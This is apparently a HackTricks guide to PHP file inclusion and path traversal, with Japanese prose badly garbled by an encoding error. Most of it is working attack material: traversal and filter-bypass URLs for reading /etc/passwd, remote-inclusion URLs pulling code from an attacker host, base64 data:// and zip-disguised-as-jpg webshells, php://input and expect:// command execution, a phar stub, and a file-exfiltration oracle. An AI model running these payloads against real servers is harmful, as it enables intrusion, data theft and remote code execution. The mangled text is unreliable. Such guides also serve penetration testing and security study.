File Inclusion/Path traversal
Tip
AWSãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training GCP Red Team Expert (GRTE)
Azureãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- **ð¬ Discordã°ã«ãŒããŸãã¯ãã¬ã°ã©ã ã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- HackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãããã³ã°ããªãã¯ãå ±æããŠãã ããã
File Inclusion
Remote File Inclusion (RFI): ãã¡ã€ã«ããªã¢ãŒããµãŒããŒããèªã¿èŸŒãŸããïŒãã¹ã: ããªããã³ãŒããæžãããã®ãµãŒããŒããããå®è¡ããïŒãphpã§ã¯ããã¯ããã©ã«ãã§ç¡å¹ïŒallow_url_includeïŒã
Local File Inclusion (LFI): ãµãŒããŒãããŒã«ã«ãã¡ã€ã«ãèªã¿èŸŒãã
ãã®è匱æ§ã¯ããŠãŒã¶ãŒãäœããã®åœ¢ã§ãµãŒããŒã«ããèªã¿èŸŒãŸãããã¡ã€ã«ãå¶åŸ¡ã§ããå Žåã«çºçããã
è匱㪠PHP functions: require, require_once, include, include_once
ãã®è匱æ§ãæªçšããããã®è峿·±ãããŒã«: https://github.com/kurobeats/fimap
Blind - Interesting - LFI2RCE files
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
Linux
*ããã€ãã® nix LFI ãªã¹ããçµã¿åãããããã«ãã¹ã远å ããŠãããäœæããŸããïŒ
Try also to change / for \
Try also to add ../../../../../
è€æ°ã®ææ³ã䜿ã£ãŠãã¡ã€ã« /etc/password ãæ¢ããŠïŒè匱æ§ãååšããã確èªããããã®ïŒãªã¹ãã¯ããã«ãããŸãã
Windows
ç°ãªã wordlists ã®ããŒãžïŒ
Try also to change / for \
Try also to remove C:/ and add ../../../../../
è€æ°ã®ææ³ã䜿ã£ãŠãã¡ã€ã« /boot.ini ãæ¢ããŠïŒè匱æ§ãååšããã確èªããããã®ïŒãªã¹ãã¯ããã«ãããŸãã
OS X
Check the LFI list of linux.
åºæ¬ç㪠LFI ãšãã€ãã¹
All the examples are for Local File Inclusion but could be applied to Remote File Inclusion also (page=http://myserver.com/phpshellcode.txt\.
http://example.com/index.php?page=../../../etc/passwd
traversal sequences ãéååž°çã«åé€
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
Null byte (%00)
æäŸãããæååã®æ«å°Ÿã«æåã远å ããåŠçãbypassãã (bypass of: $_GET[âparamâ].âphpâ)
http://example.com/index.php?page=../../../etc/passwd%00
ãã㯠PHP 5.4 以éã§è§£æ±ºãããŠããŸã
Encoding
double URL encode (and others) ã®ãããªéæšæºã®ãšã³ã³ãŒãã£ã³ã°ã䜿çšã§ããŸã:
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
HTML-to-PDF SVG/IMG path traversal
è¿å¹Žã® HTML-to-PDF ãšã³ãžã³ïŒäŸ: TCPDF ã html2pdf ã®ãããªã©ãããŒïŒã¯ãæ»æè
ãæäŸãã HTMLãSVGãCSSããã©ã³ãã® URL ãåé¡ãªãè§£æããŸããããããã¯ãã¡ã€ã«ã·ã¹ãã ãžã¢ã¯ã»ã¹ã§ããä¿¡é Œãããããã¯ãšã³ããããã¯ãŒã¯å
ã§åäœããŸãã$pdf->writeHTML()/Html2Pdf::writeHTML() ã« HTML ãæ³šå
¥ã§ããã°ããŠã§ããµãŒããŒã®ã¢ã«ãŠã³ããèªã¿åããããŒã«ã«ãã¡ã€ã«ããã°ãã° exfiltrate ã§ããŸãã
- Fingerprint the renderer: çæããã PDF ã«ã¯å¿
ã
Producerãã£ãŒã«ãïŒäŸ:TCPDF 6.8.2ïŒãå«ãŸããŸããæ£ç¢ºãªãã«ãããããã°ãã©ã®ãã¹ãã£ã«ã¿ãååšããããããªããŒã·ã§ã³ã®åã« URL ãã³ãŒããè¡ãããããææ¡ã§ããŸãã - Inline SVG payloads:
TCPDF::startSVGElementHandler()ã¯urldecode()ãå®è¡ããåã«<image>èŠçŽ ã®xlink:href屿§ãèªã¿åããŸããæªæãã SVG ã data URI å ã«åã蟌ããšãå€ãã® HTML ãµãã¿ã€ã¶ããã€ããŒããç¡èŠããäžæ¹ã§ TCPDF ã¯ãããè§£æããŸã:
<img src="data:image/svg+xml;base64,PHN2ZyB2aWV3Qm94PSIwIDAgMCAwIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxpbWFnZSB4bGluazpocmVmPSIuLi8uLi8uLi8uLi8uLi90bXAvdXNlcl9maWxlcy91c2VyXzEvcHJpdmF0ZV9pbWFnZS5wbmciIGhlaWdodD0iMTAwJSIgd2lkdGg9IjEwMCUiLz48L3N2Zz4=" />
TCPDFã¯/ã§å§ãŸããã¹ã«$_SERVER['DOCUMENT_ROOT']ãå
é ã«ä»ãã..ã解決ããã®ã¯åŸã«ãªãããããã¬ãã³ãåŸã«ã«ãŒãããæããã«ã¯å
é ã«../../..ã»ã°ã¡ã³ããä»ããã/../../..ã䜿ã£ãŠãã ããã
- åçŽãªãã£ã«ã¿ãåé¿ããããã®ãšã³ã³ãŒãã£ã³ã°: Versions â€6.8.2 㯠URL ããã³ãŒãããåã«ãªãã©ã«ãªéšåæåå
../ã®ã¿ããã§ãã¯ããŸããSVG ãçã®<img src>屿§å ã«..%2fïŒãŸãã¯..%2FïŒãéããšãã§ãã¯ããã€ãã¹ã§ããŸãããªããªããã©ããŒãµã«ã®ããããããã¹ã©ãã·ã¥å㯠TCPDF ãurldecode()ãåŒãã åŸã«ã®ã¿åçæãããããã§ãã - 倿®µãã³ãŒãã«å¯Ÿããäºéãšã³ã³ãŒã: ãŠãŒã¶å
¥åã web ãã¬ãŒã ã¯ãŒã¯ãš TCPDF ã®äž¡æ¹ã§ãã³ãŒããããå Žåã¯ãã¹ã©ãã·ã¥ãäºéãšã³ã³ãŒãïŒ
%252fïŒããŠãã ãããäžåã®ãã³ãŒãã§%2fã«ãªããTCPDF ã®äºåç®ã®ãã³ãŒãã§/ã«ãªããŸããçµæãšããŠ/..%252f..â/../../../âŠãšãªããæ©æã®ãã£ã«ã¿ã«../ãäžåèŠããããšãªãæããããŸãã - HTML
<img>handler:TCPDF::openHTMLTagHandler()ã¯åãé åºã®äžå ·åãå«ãã§ãããsrc="%2f..%252f..%252ftmp%252fsecret.png"ã®ãããªçŽæ¥ç㪠HTML ãã€ããŒãã§ããŒã«ã«ã®ä»»æã®ãããããããèªã¿åããŸãã
ãã®ãã¯ããã¯ã¯ PDF ã¯ãŒã«ãŒãèªã¿åãããã®ã¯äœã§ã leaks ããŸãïŒãã¹ããŒãã¹ãã£ã³ãç»åãšããŠã¬ã³ããªã³ã°ããã API ããŒãªã©ïŒãHardeners ã¯ãã¹ãæ£èŠåããããšã§ 6.9.1 ã§ä¿®æ£ããŸããïŒisRelativePath()ïŒããã®ãããã¹ãã§ã¯å€ãProducerããŒãžã§ã³ãåªå
ããŠãã ããã
æ¢åã®ãã©ã«ããã
ããã¯ãšã³ãããã©ã«ããã¹ããã§ãã¯ããŠãããããããŸãã:
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
ãµãŒããŒäžã®ãã¡ã€ã«ã·ã¹ãã ã®ãã£ã¬ã¯ããªæ¢çŽ¢
ãµãŒããŒã®ãã¡ã€ã«ã·ã¹ãã ã¯ãç¹å®ã®ææ³ãçšããããšã§ãã¡ã€ã«ã ãã§ãªããã£ã¬ã¯ããªãååž°çã«æ¢çŽ¢ã§ããŸãããã®ããã»ã¹ã§ã¯ãã£ã¬ã¯ããªã®æ·±ããç¹å®ããç¹å®ã®ãã©ã«ãã®ååšã確èªããŠãããŸãã以äžã¯ãã®è©³çŽ°ãªæé ã§ãïŒ
- ãã£ã¬ã¯ããªã®æ·±ããç¹å®ãã: çŸåšã®ãã£ã¬ã¯ããªã®æ·±ãã¯ã
/etc/passwdãã¡ã€ã«ãæ£åžžã«ååŸã§ãããã©ããã§å€æããŸãïŒãµãŒããŒã Linux ããŒã¹ã®å Žåã«æå¹ïŒãäŸãšããŠãæ·±ãã3ã§ããããšã瀺ã URL ã¯æ¬¡ã®ãããªæ§é ã«ãªãå ŽåããããŸãïŒ
http://example.com/index.php?page=../../../etc/passwd # depth of 3
- ãã©ã«ããæ¢ã: çããããã©ã«ãåïŒäŸ:
privateïŒãURLã«è¿œå ãããã®åŸ/etc/passwdã«æ»ã£ãŠç§»åããŸãã远å ã®ãã£ã¬ã¯ããªã¬ãã«ããããããdepthã1ã€å¢ããå¿ èŠããããŸã:
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
- çµæã®è§£é: ãµãŒããŒã®å¿çã¯ãã©ã«ãã®ååšã瀺ããŸã:
- ãšã©ãŒ / åºåãªã: ãã©ã«ã
privateã¯æå®ãããå Žæã«ååšããªãå¯èœæ§ãé«ãã /etc/passwdã®å 容:privateãã©ã«ãã®ååšã確èªãããã
- ååž°çãªæ¢çŽ¢: çºèŠãããã©ã«ãã¯ãåãææ³ãŸãã¯åŸæ¥ã® Local File Inclusion (LFI) ã¡ãœããã䜿ã£ãŠããµããã£ã¬ã¯ããªããã¡ã€ã«ãããã«èª¿æ»ã§ããŸãã
ãã¡ã€ã«ã·ã¹ãã ã®å¥ã®å Žæã«ãããã£ã¬ã¯ããªãæ¢çŽ¢ããå Žåã¯ãpayload ãé©åã«èª¿æŽããŠãã ãããããšãã°ãã«ã¬ã³ããã£ã¬ã¯ããªãæ·±ã 3 ã«ãããšä»®å®ããŠã/var/www/ ã« private ãã£ã¬ã¯ããªãå«ãŸããŠããã確èªããã«ã¯ã次ã䜿çšããŸã:
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
Path Truncation Technique
Path truncation ã¯ãŠã§ãã¢ããªã±ãŒã·ã§ã³ã§ãã¡ã€ã«ãã¹ãæäœããããã«çšããããææ³ã§ãããã¡ã€ã«ãã¹ã®æ«å°Ÿã«è¿œå æåãä»ãããããªã»ãã¥ãªãã£å¯Ÿçãåé¿ããŠãã¢ã¯ã»ã¹å¶éããããã¡ã€ã«ã«å°éããããã«äœ¿ãããããšãå€ãã§ããç®çã¯ãã»ãã¥ãªãã£å¯Ÿçã«ãã£ãŠå€æŽãããåŸã§ãäŸç¶ãšããŠç®çã®ãã¡ã€ã«ãæããããªãã¡ã€ã«ãã¹ãäœæããããšã§ãã
In PHPããã¡ã€ã«ã·ã¹ãã ã®æ§è³ªã«ããããã¡ã€ã«ãã¹ã®ããŸããŸãªè¡šçŸãåçãšèŠãªãããããšããããŸããäŸãã°ïŒ
/etc/passwd,/etc//passwd,/etc/./passwd, and/etc/passwd/ã¯ãã¹ãŠåããã¹ãšããŠæ±ãããŸãã- æ«å°Ÿã®6æåã
passwdã§ããå Žåãæ«å°Ÿã«/ã远å ããŠïŒpasswd/ã«ããŠãïŒã¢ã¯ã»ã¹å¯Ÿè±¡ã®ãã¡ã€ã«ã¯å€ãããŸããã - åæ§ã«ããã¡ã€ã«ãã¹ã«
.phpãä»ããŠããå ŽåïŒäŸ:shellcode.phpïŒãæ«å°Ÿã«/.ã远å ããŠãã¢ã¯ã»ã¹ããããã¡ã€ã«ã¯å€ãããŸããã
以äžã®äŸã¯ãæ©å¯æ§ã®é«ãå
容ïŒãŠãŒã¶ãŒã¢ã«ãŠã³ãæ
å ±ïŒã®ããã«äžè¬çãªã¿ãŒã²ããã§ãã/etc/passwdãžã¢ã¯ã»ã¹ããããã« path truncation ãå©çšããæ¹æ³ã瀺ããŠããŸãïŒ
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
ãããã®ã·ããªãªã§ã¯ãå¿ èŠãªãã©ããŒãµã«ã®åæ°ã¯çŽ2027ã«ãªãããšããããŸããããã®æ°ã¯ãµãŒããŒã®æ§æã«ãã£ãŠå€ããå¯èœæ§ããããŸãã
- ãããã»ã°ã¡ã³ããšè¿œå æåã䜿çšãã: ãã©ããŒãµã«ã·ãŒã±ã³ã¹ïŒ
../ïŒã远å ã®ãããã»ã°ã¡ã³ããæåãšçµã¿åãããããšã§ããã¡ã€ã«ã·ã¹ãã ã蟿ãããµãŒããŒã远èšããæååãå®è³ªçã«ç¡èŠããŠç®çã®å Žæã«å°éã§ããŸãã - å¿
èŠãªãã©ããŒãµã«åæ°ã®ç¹å®: 詊è¡é¯èª€ã«ãã£ãŠãã«ãŒããã£ã¬ã¯ããªãžããããŠ
/etc/passwdãžå°éããã®ã«å¿ èŠãª../ã®æ£ç¢ºãªåæ°ãèŠã€ããããšãã§ãã.phpã®ãããªè¿œèšæååãç¡å¹åãã€ã€ç®çã®ãã¹ (/etc/passwd) ãç¶æã§ããŸãã - åœãã£ã¬ã¯ããªã§éå§ãã: ãã¹ãååšããªããã£ã¬ã¯ããªïŒäŸ:
a/ïŒã§å§ããã®ã¯äžè¬çãªææ³ã§ãããã®ãã¯ããã¯ã¯äºé²çãšããŠããŸãã¯ãµãŒããŒã®ãã¹è§£æããžãã¯ã®èŠä»¶ãæºããããã«äœ¿ãããŸãã
ãã¹ãã©ã³ã±ãŒã·ã§ã³ææ³ã䜿çšããéã¯ããµãŒããŒã®ãã¹è§£æã®æåãšãã¡ã€ã«ã·ã¹ãã ã®æ§é ãçè§£ããããšãéèŠã§ããåã·ããªãªã¯ç°ãªãã¢ãããŒããå¿ èŠãšããå Žåããããæã广çãªæ¹æ³ãèŠã€ããããã«ãã¹ããè¡ãããšããã°ãã°å¿ èŠã§ãã
ãã®è匱æ§ã¯ PHP 5.3 ã§ä¿®æ£ãããŸããã
ãã£ã«ã¿ãŒãã€ãã¹ã®ããªãã¯
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter
Remote File Inclusion
phpã§ã¯ããã¯ããã©ã«ãã§ç¡å¹ã«ãªã£ãŠããŸãããã㯠allow_url_include ã Off. ã«ãªã£ãŠããããã§ããåäœãããã«ã¯ On ã«ããå¿
èŠãããããã®å ŽåããµãŒããŒäžã®PHPãã¡ã€ã«ãã€ã³ã¯ã«ãŒãããŠRCEãåŸãããšãã§ããŸã:
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
ããäœããã®çç±ã§ allow_url_include ã On ã«ãªã£ãŠãããããã PHP ãå€éšãŠã§ãããŒãžãžã®ã¢ã¯ã»ã¹ããã£ã«ã¿ãªã³ã°ããŠããå Žåããã®æçš¿ ã«ããã°ãäŸãã° data ãããã³ã«ãš base64 ã䜿ã£ãŠ b64 PHP ã³ãŒãããã³ãŒãã RCE ãåŸãããšãã§ããŸã:
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
Tip
åã®ã³ãŒãã§ã¯ãæåŸã®
+.txtã¯æ»æè ã.txtã§çµããæååãå¿ èŠãšããŠãããã远å ãããŸããããã®ããæååã¯ããã§çµãããb64 decode ã®åŸãã®éšåã¯ãã ã®ãŽããè¿ããå®éã® PHP ã³ãŒããå«ãŸããïŒã€ãŸãå®è¡ãããïŒããšã«ãªããŸãã
å¥ã®äŸïŒphp:// ãããã³ã«ã䜿çšããªãïŒã¯æ¬¡ã®éãã§ã:
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
Python ã«ãŒãèŠçŽ
python ã®ã³ãŒãã§æ¬¡ã®ãããªå Žå:
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
ãŠãŒã¶ãŒãabsolute pathã**file_name**ã«æž¡ããå Žåã以åã®ãã¹ã¯åã«åé€ãããŸã:
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
ãã㯠the docs ã«ããæå³ãããæåã§ãïŒ
ã³ã³ããŒãã³ãã絶察ãã¹ã§ããå ŽåããããŸã§ã®ãã¹ãŠã®ã³ã³ããŒãã³ãã¯ç Žæ£ãããçµåã¯ãã®çµ¶å¯Ÿãã¹ã®ã³ã³ããŒãã³ãããç¶è¡ãããŸãã
Java ã®ãã£ã¬ã¯ããªäžèЧ
Javaã§ Path Traversal ãããå Žåã«ããã¡ã€ã«ã®ä»£ããã« ãã£ã¬ã¯ããªãèŠæ±ãããšããã£ã¬ã¯ããªã®äžèЧãè¿ãããŸããããã¯ä»ã®èšèªã§ã¯èµ·ãããªãããã§ãïŒç§ã®ç¥ãéãïŒã
äžäœ25ã®ãã©ã¡ãŒã¿
以äžã¯ local file inclusion (LFI) ã«è匱ã§ããåŸãäžäœ25ã®ãã©ã¡ãŒã¿ã®ãªã¹ãã§ã (from link):
?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}
LFI / RFI using PHP wrappers & protocols
php://filter
PHP filters allow perform basic ããŒã¿ã«å¯Ÿãã倿޿äœããèªã¿åããããæžã蟌ãŸãããããåã«å®è¡ã§ããŸãããã£ã«ã¿ã«ã¯5ã€ã®ã«ããŽãªããããŸã:
- String Filters:
string.rot13string.toupperstring.tolowerstring.strip_tags: ããŒã¿ããã¿ã°ãåé€ããŸãïŒâ<â ãš â>â ã®éã®ãã¹ãŠã®æåïŒ- Note that this filter has disappear from the modern versions of PHP
- Conversion Filters
convert.base64-encodeconvert.base64-decodeconvert.quoted-printable-encodeconvert.quoted-printable-decodeconvert.iconv.*: å¥ã®ãšã³ã³ãŒãã£ã³ã°ã«å€æããŸãïŒconvert.iconv.<input_enc>.<output_enc>ïŒããµããŒããããŠãããã¹ãŠã®ãšã³ã³ãŒãã£ã³ã°ã®äžèЧãååŸããã«ã¯ãã³ã³ãœãŒã«ã§æ¬¡ãå®è¡ããŸã:iconv -l
Warning
Abusing the
convert.iconv.*conversion filter you can generate arbitrary text, which could be useful to write arbitrary text or make a function like include process arbitrary text. For more info check LFI2RCE via php filters.
- Compression Filters
zlib.deflate: Compress the content (useful if exfiltrating a lot of info)zlib.inflate: Decompress the data- Encryption Filters
mcrypt.*: éæšå¥šmdecrypt.*: éæšå¥š- Other Filters
- phpã§
var_dump(stream_get_filters());ãå®è¡ãããšãããã€ãã®äºæããªããã£ã«ã¿ãèŠã€ãããŸã: consumeddechunk: reverses HTTP chunked encodingconvert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");
# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");
# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
Warning
âphp://filterâ ã®éšåã¯å€§æåå°æåãåºå¥ããŸãã
php filters ã oracle ãšããŠä»»æã®ãã¡ã€ã«ãèªãæ¹æ³
In this post ã§ã¯ããµãŒããŒããåºåãè¿ããã«ããŒã«ã«ãã¡ã€ã«ãèªãããã®æè¡ãææ¡ãããŠããŸãããã®ææ³ã¯ boolean exfiltration of the file (char by char) using php filters ã oracle ãšããŠå©çšãããã®ã§ãããã㯠php filters ã䜿ã£ãŠããã¹ããååã«å€§ããããphp ã«äŸå€ãçºçãããããšãã§ããããã§ãã
å ã®æçš¿ã«ã¯ææ³ã®è©³çްãªèª¬æããããŸãããããã§ã¯ç°¡åãªèŠçŽã瀺ããŸã:
- Use the codec
UCS-4LEto leave leading character of the text at the begging and make the size of string increases exponentially.- codec
UCS-4LEã䜿çšããŠããã¹ãã®å é æåãä¿æããæååã®ãµã€ãºãææ°çã«å¢å ãããŸãã
- codec
- This will be used to generate a text so big when the initial letter is guessed correctly that php will trigger an ãšã©ãŒ
- ããã«ãããå é æåãæ£ããæšæž¬ããããšãã« php ã ãšã©ãŒ ãçºçãããã»ã©å€§ããªããã¹ããçæã§ããŸãã
- The dechunk filter will remove everything if the first char is not an hexadecimal, so we can know if the first char is hex.
- dechunk ãã£ã«ã¿ã¯ å é æåã16鲿°ã§ãªãå Žåã¯ãã¹ãŠãåé€ãã ãããå é æåã hexïŒ16鲿°ïŒãã©ãããå€å®ã§ããŸãã
- This, combined with the previous one (and other filters depending on the guessed letter), will allow us to guess a letter at the beggining of the text by seeing when we do enough transformations to make it not be an hexadecimal character. Because if hex, dechunk wonât delete it and the initial bomb will make php error.
- ãããšåè¿°ã®ææ³ïŒããã³æšæž¬ããæåã«å¿ããä»ã®ãã£ã«ã¿ïŒãçµã¿åãããããšã§ãååãªå€æãè¡ã£ãçµæãšããŠå é æåã16鲿°ã§ãªããªãã¿ã€ãã³ã°ããå é ã®æåãæšæž¬ã§ããŸãã16鲿°ã§ããã° dechunk ã¯åé€ãããåæã®âç匟âã php ã®ãšã©ãŒãåŒãèµ·ããããã§ãã
- The codec convert.iconv.UNICODE.CP930 transforms every letter in the following one (so after this codec: a -> b). This allow us to discovered if the first letter is an
afor example because if we apply 6 of this codec a->b->c->d->e->f->g the letter isnât anymore a hexadecimal character, therefore dechunk doesnât deleted it and the php error is triggered because it multiplies with the initial bomb.- codec convert.iconv.UNICODE.CP930 ã¯åæåãæ¬¡ã®æåã«å€æããŸãïŒã€ãŸããã®codecé©çšåŸã¯ a -> b ã«ãªããŸãïŒãããã«ãããäŸãã°å
é æåã
aãã©ãããå€å¥ã§ããŸãããšããã®ã¯ããã®codecã6åé©çšãããš a->b->c->d->e->f->g ãšãªãããã®æåã¯ãã¯ã16鲿°æåã§ã¯ãªããªããã dechunk ãåé€ãããåæã®âç匟âãšçžãŸã£ãŠ php ã®ãšã©ãŒãçºçããããã§ãã
- codec convert.iconv.UNICODE.CP930 ã¯åæåãæ¬¡ã®æåã«å€æããŸãïŒã€ãŸããã®codecé©çšåŸã¯ a -> b ã«ãªããŸãïŒãããã«ãããäŸãã°å
é æåã
- Using other transformations like rot13 at the beginning itâs possible to leak other chars like n, o, p, q, r (and other codecs can be used to move other letters to the hex range).
- æåã« rot13 ã®ãããªä»ã®å€æã䜿ãããšã§ãn, o, p, q, r ã®ãããªæåã leak ããããšãå¯èœã§ãïŒä»ã®codecã䜿ãã°ä»ã®æåã16鲿°ç¯å²ã«ç§»åã§ããŸãïŒã
- When the initial char is a number itâs needed to base64 encode it and leak the 2 first letters to leak the number.
- å é æåãæ°åã®å Žå㯠base64 ãšã³ã³ãŒãããŠå é 2æåã leak ããå¿ èŠããããŸãã
- The final problem is to see how to leak more than the initial letter. By using order memory filters like convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE is possible to change the order of the chars and get in the first position other letters of the text.
- æåŸã®åé¡ã¯ å é æå以äžã®æ å ±ãã©ããã£ãŠ leak ããã ã§ããconvert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE ã®ãããªé åºãæäœããã¡ã¢ãªãã£ã«ã¿ã䜿çšããã°ãæåã®é åºã倿ŽããŠããã¹ãã®ä»ã®æåãå é äœçœ®ã«æã£ãŠããããšãå¯èœã§ãã
- And in order to be able to obtain further data the idea if to generate 2 bytes of junk data at the beginning with convert.iconv.UTF16.UTF16, apply UCS-4LE to make it pivot with the next 2 bytes, and delete the data until the junk data (this will remove the first 2 bytes of the initial text). Continue doing this until you reach the disired bit to leak.
- ããã«ããŒã¿ãååŸã§ããããã«ããããã®ã¢ã€ãã¢ã¯ãconvert.iconv.UTF16.UTF16 ã§å é ã«2ãã€ãã®ãžã£ã³ã¯ããŒã¿ãçæããUCS-4LE ãé©çšããŠãããæ¬¡ã®2ãã€ããšâããããâããããžã£ã³ã¯ããŒã¿ãŸã§ããŒã¿ãåé€ããããšã§ãïŒããã«ããåæããã¹ãã®æåã®2ãã€ããåé€ãããŸãïŒãç®çã®äœçœ®ã«å°éãããŸã§ãããç¹°ãè¿ããŸãã
æçš¿ã§ã¯ãã®åŠçãèªååããããŒã«ã leaked ãããŠããŸã: php_filters_chain_oracle_exploit.
php://fd
ãã® wrapper ã¯ããã»ã¹ãéããŠãã file descriptors ã«ã¢ã¯ã»ã¹ããããšãå¯èœã«ããŸããéãããŠãããã¡ã€ã«ã®å 容ã exfiltrate ããã®ã«æçšã§ããå¯èœæ§ããããŸã:
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
You can also use php://stdin, php://stdout and php://stderr to access the ãã¡ã€ã«ãã£ã¹ã¯ãªãã¿ 0ã1ã2 respectively (æ»æã§ã©ã®ããã«åœ¹ç«ã€ãã¯äžæ)
zip:// and rar://
PHPShell ãå
éšã«å«ã Zip ãŸã㯠Rar ãã¡ã€ã«ãã¢ããããŒãããŠã¢ã¯ã»ã¹ããã
rar protocol ãæªçšã§ããããã«ããã«ã¯ãæç€ºçã«æå¹åããå¿
èŠãããã
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php
http://example.com/index.php?page=zip://shell.jpg%23payload.php
# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php
data://
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
ãã®ãããã³ã«ã¯ php ã®èšå® allow_url_open ããã³ allow_url_include ã«ãã£ãŠå¶éãããããšã«æ³šæããŠãã ãã
expect://
Expect ã¯æå¹åãããŠããå¿ èŠããããŸããããã䜿çšããŠã³ãŒããå®è¡ã§ããŸã:
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
input://
POST ãã©ã¡ãŒã¿ã§ payload ãæå®ããŠãã ãã:
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
phar://
.phar ãã¡ã€ã«ã¯ããŠã§ãã¢ããªã±ãŒã·ã§ã³ããã¡ã€ã«èªã¿èŸŒã¿ã« include ã®ãããªé¢æ°ãå©çšããå Žåã«ãPHP ã³ãŒããå®è¡ããããã«å©çšã§ããŸããäžã«ç€ºã PHP ã®ã³ãŒãã¹ãããã㯠.phar ãã¡ã€ã«ã®äœææ¹æ³ã瀺ããŠããŸãïŒ
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();
.phar ãã¡ã€ã«ãã³ã³ãã€ã«ããã«ã¯ã次ã®ã³ãã³ããå®è¡ããŠãã ãã:
php --define phar.readonly=0 create_path.php
Upon execution, a file named test.phar will be created, which could potentially be leveraged to exploit Local File Inclusion (LFI) vulnerabilities.
